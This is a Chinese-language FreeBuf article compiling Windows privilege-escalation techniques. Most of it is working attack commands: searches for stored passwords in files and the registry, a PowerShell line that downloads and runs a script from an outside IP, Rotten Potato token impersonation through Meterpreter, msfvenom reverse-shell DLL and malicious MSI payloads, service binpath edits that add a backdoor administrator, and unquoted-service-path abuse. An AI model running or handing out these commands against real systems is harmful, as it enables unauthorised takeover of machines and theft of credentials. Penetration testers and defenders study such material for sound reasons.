freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Window常见提权方法一览
2022-07-12 01:08:03
所属地 河南省

利用敏感信息提权

自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。 这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。

全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:

C:\Windows\Panther\ 
C:\Windows\Panther\Unattend\ 
C:\Windows\System32\ 
C:\Windows\System32\sysprep\

除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。

C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c

或者在名称中包含关键词的项目:

C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr password

或者可以在文件内容中搜索password之类的关键字:

C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini

可以查询注册表,例如,字符串password:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密码需要去掉最后的”Password”。

利用脚本自动查找系统潜在漏洞

Windows Exploit Suggester

该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而且其只需要我们给出目标系统的信息即可。

下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester

使用如下:

首先更新漏洞数据库,会生成一个xls的文件,如下 2020-08-20-mssb.xls

python2 windows-exploit-suggester.py --update

然后执行如下命令,查看目标主机系统信息,保存为sysinfo.txt文件:

systeminfo > sysinfo.txt

最后,运行如下命令,查看该系统是否存在可利用的提权漏洞:

python2 windows-exploit-suggester.py -d 2020-08-20-mssb.xls -i sysinfo.txt

Sherlock脚本

下载地址:https://github.com/rasta-mouse/Sherlock

该脚本可以快速的查找出可能用于本地权限提升的漏洞。使用如下:

powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Sherlock.ps1');      // 远程执行
Import-Module 目录\Sherlock.ps1       本地执行

Find-AllVulns    // 调用脚本后,执行搜索命令

local_exploit_suggester 模块

Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦。

使用如下,假设我们已经获得了目标主机的一个session:

use post/multi/recon/local_exploit_suggester 
set session 1
exploit

enum_patches 模块

会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速找出系统中缺少的补丁。使用如下:

use post/windows/gather/enum_patches
set session 1
exploit

在实际的查找潜在漏洞的过程中,建议手动和自动双管齐下。

选择漏洞并利用:

漏洞利用程序可以从以下几个地址中下载:(里面附有使用说明)

  • Windows 下的提权大合集:https://github.com/lyshark/Windows-exploits

  • Windows内核溢出漏洞提权大全:https://github.com/SecWiki/windows-kernel-exploits

  • 各大平台提权工具:https://github.com/klsfct/getshell

烂土豆配合MSF令牌窃取提权

**简介:**烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户

**适用版本:**Windows 7、8、10、2008、2012

提权原理:

1、欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2、对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3、模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

操作方法:

查看是否具有Selmpersonate权限

meterpreter > getprivs

##或者服务器的cmd下键入以下命令
whoami /all
whoami /priv

如下,SeImpersonatePrivilege是土豆提权的必要条件

图片.png

首先通过msf生成一个msf的木马,通过webshell传上去,然后执行,获取到会话,此时我们使用令牌窃取,会失败,因为此时我们只有web权限,权限太低,无法实现窃取SYSTEM权限,这个时候就需要用到烂土豆配合msf实现权限提升。我们利用webshel把下载好的烂土豆程序传到C盘根目录下,然后执行它,此时我们再通过msf的会话,使用令牌窃取功能即可成功实现从web权限到SYSTEM权限的提升。

upload /root/potato.exe C:\Users\Public
cd C:\\Users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"

Dll劫持提权

适用版本:Windows 7、8、10、2008、2012

程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。

攻击过程:收集进程加载的dll-制作dll木马并上传-替换dll-启动应用后成功

收集该软件进程加载的dll 这一步在自己本机上测试,启动应用使用火绒剑分析其模块调用的dll,一般来说我们劫持该应用本身的dll,而不是系统dll,因为系统文件一般我们是更改不了的,所以一般选择未知文件和数字签名文件的dll来进行替换成msf生成的dll

msf生成dll木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.134  lport=6677 -f dll >./payload.dll

然后进行dll替换即可,当管理员运行该程序时即可触发木马,msf即可收到会话。

Windows服务带有易受攻击的权限一

漏洞原理:由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以通过编辑ImagePath的值,更改该服务的可执行文件路径,使其指向恶意的可执行文件,从而实现权限提升。

该漏洞可以通过使用微软自带的检测工具SubInACL进行检测:https://www.microsoft.com/en-us/download/details.aspx?id=23510

首先将SubInACL上传到目标机器,然后对相应服务的注册表项进行检测

图片.png

如上图所示,“Everyone”在这个注册表项上有完全的控制权。意味着我们可以通过编辑ImagePath的值,更改该服务的可执行文件路径,使其指向恶意的可执行文件。

图片.png

在下一次启动该服务时,payload.exe将会以SYSTEM权限运行,我们可以通过直接对目标主机执行“shutdown -r -t 0”命令,使其主机重启即可,在此之前我们需要先在kali上启用一个监听,用于接收反弹shell的会话。

Windows服务带有易受攻击的权限二

漏洞原理:由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以通过编辑BINARY_PATH_NAME参数的值,如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。如果我们愿意,我们可以添加一个本地管理员,从而实现权限提升。

该漏洞可以通过使用微软自带的检测工具进行检测:

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

accesschk.exe -uwcqv "username" *          //检测当前用户或者用户组是否有可以修改的服务,根据实际情况修改username

当我们执行以上命令时发现如下图所示的情况,说明此时该提权方法不可行

图片.png
如果我们对某服务的属性拥有完全控制权。那么我们通过编辑BINARY_PATH_NAME参数的值,将这个值修改成任何命令。

sc config "ServiceName" binpath="net user eviladmin  P4ssword0 /add"   //添加一个用户 
//在修改了binpath的值后,用“sc stop”和“sc start”命令重启服务:
sc stop	"ServiceName"							//关闭服务
sc start "ServiceName"                           //启动服务

然后我们以同样的方式,再将刚才添加的用户,添加到本地管理员组即可。同样,我们也可以将一个反弹shell载荷上传到目标机器中,并将binpath的值改成载荷的路径。

MSF有现成的漏洞利用模块:exploit/windows/local/service_permissions

Trusted Service Paths 提权漏洞

漏洞原理:如果一个服务的可执行文件的路径没有被双引号引起来并且包含空格,那么这个服务就是有漏洞的,该漏洞利用了windows文件路径解析的特性并涉及服务路径的文件/文件夹权限配置。

windows文件路径解析的特性:

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

图片.png

路径没有包含在引号中,服务会按照以下顺序依次执行
c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe

假如存在漏洞路径,我们可以将msf木马放到上面的c:\program.exe、c:\program files.exe、c:\program files (x86)\grasssoft\macro.exe路径下,然后重启机器,此时,反弹回来的shell,就是一个system权限的shell(windows服务通常以System权限运行,所以提供在解析服务所对应的文件路径中的空格时也是以系统权限运行的)。

使用以下命令查看系统中错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务。

sc stop <service_name>
sc start <service_name>

既然要重启服务,那么我们就可以知道,该提权方法需要管理员权限,重启服务的方法适用于从管理员权限到system的权限提升过程。而实际情况下,我们直接对目标主机执行“shutdown -r -t 0”命令让他重启就行了。

该提权方法在metasploit中对应的模块为:exploit/windows/local/unquoted_service_path,使用如下:

use exploit/windows/local/unquoted_service_path
set session 1
set AutoRunScript migrate -f
exploit

注意:新反弹得到的meterpreter会很快就中断了,这是因为当一个进程在Windows中启动后,必须与服务控制管理进行通信,如果没有通信,服务控制管理器会认为出现了错误,进而终止这个进程。所以,我们要在终止载荷进程之前将它迁移到其他进程中,使用msf的“set AutoRunScript migrate -f”命令即可实现自动迁移进程。

AlwaysInstallElevated提权漏洞

漏洞原理:用户开启了windows installer特权安装功能。

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001 

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即可达到提权目的

同时需要注意的一点是,这个注册表项不一定总是存在的。(比如我的实验机

我们可以通过reg query来验证这两条注册表项的情况

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果均为1,我们就可以通过msfvenom生成恶意msi来提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

然后执行这个msi,获得一个管理员账户。

如果两条注册表项的情况不是均为1,可以尝试激活AlwaysInstallElevated,激活它可以通过修改注册表的键值或者在图形化页面上激活。

图形化下激活它的路径为计算机设置\管理模版\windows组件\windows installer,选中已启用即可,该操作需要管理员权限。

通过修改注册表激活它的命令如下:

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

修改注册表的这两项需要有下面两权限:

  • SeRestorePrivilege

  • SeTakeOwnershipPrivilege

使用whoami /priv可以查看当前用户的权限。

参考资料:

https://blog.csdn.net/weixin_44032232/article/details/114366001

https://www.anquanke.com/post/id/225911

https://xz.aliyun.com/t/2606

https://www.anquanke.com/post/id/85377

https://blog.csdn.net/qq_41874930/article/details/109624274

# 渗透测试总结 # 提权 # 系统安全 # 提权漏洞 # Windows提权
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录